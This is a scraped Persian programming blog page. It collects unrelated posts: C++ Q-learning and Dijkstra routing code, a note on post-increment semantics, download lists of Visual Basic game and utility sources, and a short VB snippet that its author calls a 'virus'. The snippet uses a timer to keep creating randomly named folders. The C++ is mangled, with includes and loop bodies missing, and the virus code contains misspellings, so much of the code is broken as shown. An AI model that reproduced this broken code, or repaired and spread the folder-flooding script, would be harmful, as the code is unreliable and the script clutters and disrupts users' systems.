computer
|
|

<~BlogLinkbox~>

ماه مبارک رمضان بر تمام مسلمانان جهان مبارک باد.
<~BlogLinkbox~>
روش مرتب سازی (مرج سورت ) Merge Sort
//Q-Learning #include#include #include using namespace std; const int SIZE=6; //********************* struct node { int destination; int s; float distance; string p; }; //********************* int max_distance(node []); void dijkstra ( int ,int, float [][6] ); //********************* class Q_Learning { public: Q_Learning(int,int); void displayR(); void displayQ(); void routing(); private: float Q_cal(int,int); float find_max(int); float Q[6][6]; float R[6][6]; int start_state; int goal_state; float Y; // state shoroo ham bayad bashe baadan }; //********************* Q_Learning :: Q_Learning(int s , int g) { int i,j,k,l,state,action; float temp; vector states; Y=0.8; start_state=s; goal_state=g; for ( i=0 ; i states; for (i=0 ; i ::min(); // MIN_FLOAT } dijkstra ( start_state ,goal_state, temp ); } //********************* void Q_Learning :: displayR()//namayeshe maghadire R { int i,j; char item[6]={'A','B','C','D','E','F'}; system("cls"); cout<<"\n -1 --> No way\n 0 --> Is way\n 100 --> Direct way\n"; cout<<"\nRoads matrix = :\n\n "; for (i=0 ; i<6 ; i++) cout< - ::min(); for (i=0 ; i
max && a[i].s == 0) { max = a[i].distance; max_index = i; } } return max_index; } //********************* void dijkstra ( int v ,int g, float P[6][6] ) { int u,i,j,k; float NP[6][6]; char ch[6]={'A','B','C','D','E','F'}; node state[6]; for (i=0 ; i< SIZE ; i++) for (j=0 ; j< SIZE ; j++) { NP[i][j]=P[i][j]; if (NP[i][j] == 0 && i!=j) NP[i][j]=std::numeric_limits ::min(); // MIN_FLOAT } for (i=0 ; i< SIZE ; i++) { state[i].destination=i; state[i].s=0; state[i].distance=NP[v][i]; state[i].p = v+'0'; } state[v].s=1; for (j=1 ; j< SIZE ; j++) { u=max_distance(state); state[u].s=1; state[u].p += u+'0'; for (k=0 ; k< SIZE ; k++) if (state[k].s == 0) { if ( NP[u][k] != std::numeric_limits ::min() ) if ( state[k].distance < state[u].distance + NP[u][k] ) { state[k].distance = state[u].distance + NP[u][k]; state[k].p = state[u].p; } } } /*for (i=0 ;i< SIZE ; i++) { cout<<"From "< class MyInt { private: int i; public: MyInt(int iVal) { i = iVal; }; int val() const { return i; }; MyInt(const MyInt& t) { i = t.val(); }; MyInt& operator=(const MyInt& t) { i = t.val(); return *this; }; MyInt operator++(int) { MyInt t = *this; i++; return t; }; }; MyInt func() { MyInt i = MyInt(1); i = i++; return i; } int _tmain(int argc, _TCHAR* argv[]) { int i = 1; i = i++; _tprintf(_T("%d\n"), i); MyInt t = func(); _tprintf(_T("%d\n"), t.val()); return 0; }Result is 2 1But it is exactly what Java/.NET returns. From this, it is logical to conclude that Java/.NET primitives are boxed (which seems to be logical, otherwise it is hard to imagine how to support platform independence in Java/.NET, for example replacing the above class with a structure like "
CodeProjectstruct MyInt { int i : 32; };" in order to support 32 bits integers). Also this means that C/C++ works faster with primitives :)
<~BlogLinkbox~>
بازی سه ظرف رو که حتما یادتون هست امروز سورسش رو گذاشتم.
سورس یه برنامه که مشخصاتی از سیستمتون رو در اختیارتون می گذاره.
سورس برنامه نوت پد NotePad
سورس یه ساعت آنالوگ زیبا
سورس برنامه عملکرد CPU
۴۰ بازی زیبا در Vb به همراه سورس کد
پسورد:vb.blogsky.com (به کوچک بودن حروف توجه کنید)
سورس بازی خانه سازی
این سورس برنامه برای برنامه صدور بلیت هواپیما هست که برای آشنایی با اکسس و کار با اکسس بهتره.
سورس یه برنامه که نام دکمه استارت ویندوز رو تغییر می ده.
سورس برنامه فلش پلیر ویندوز
<~BlogLinkbox~>
دانلود پروژه سورس باز نرم افزار ساعت آنالوگ Analog Clock براي VBمنبع:http://www.sourcenew.com/
<~BlogLinkbox~>
دانلود پروژه سورس باز نرم افزار نمایش درصد کارکرد پردازنده CPU Display براي VBمنبع:http://www.sourcenew.com/
<~BlogLinkbox~>
اینجا ما فقط به یک تایمر و یک فرم نیاز داریم
timer interval=200
و اما کد این ویروس به صورت زیر می باشد. که برای تایمر می باشد
Dim a as double
A= rnd * 2340
Set nf = creatobject ("scripting.filesystemobject")
Nf. Creatfolder" address " "+"\"+str(a)
<~BlogLinkbox~>
این کد هم برای فرستادن sms است
<~BlogLinkbox~>
دانلود پروژه سورس باز بازی دوز XO Game براي VBپسورد فايل : www.sourcenew.com
منبع:www.sourcenew.com
<~BlogLinkbox~>

ماه مبارک رمضان بر تمام مسلمانان جهان مبارک باد.
<~BlogLinkbox~>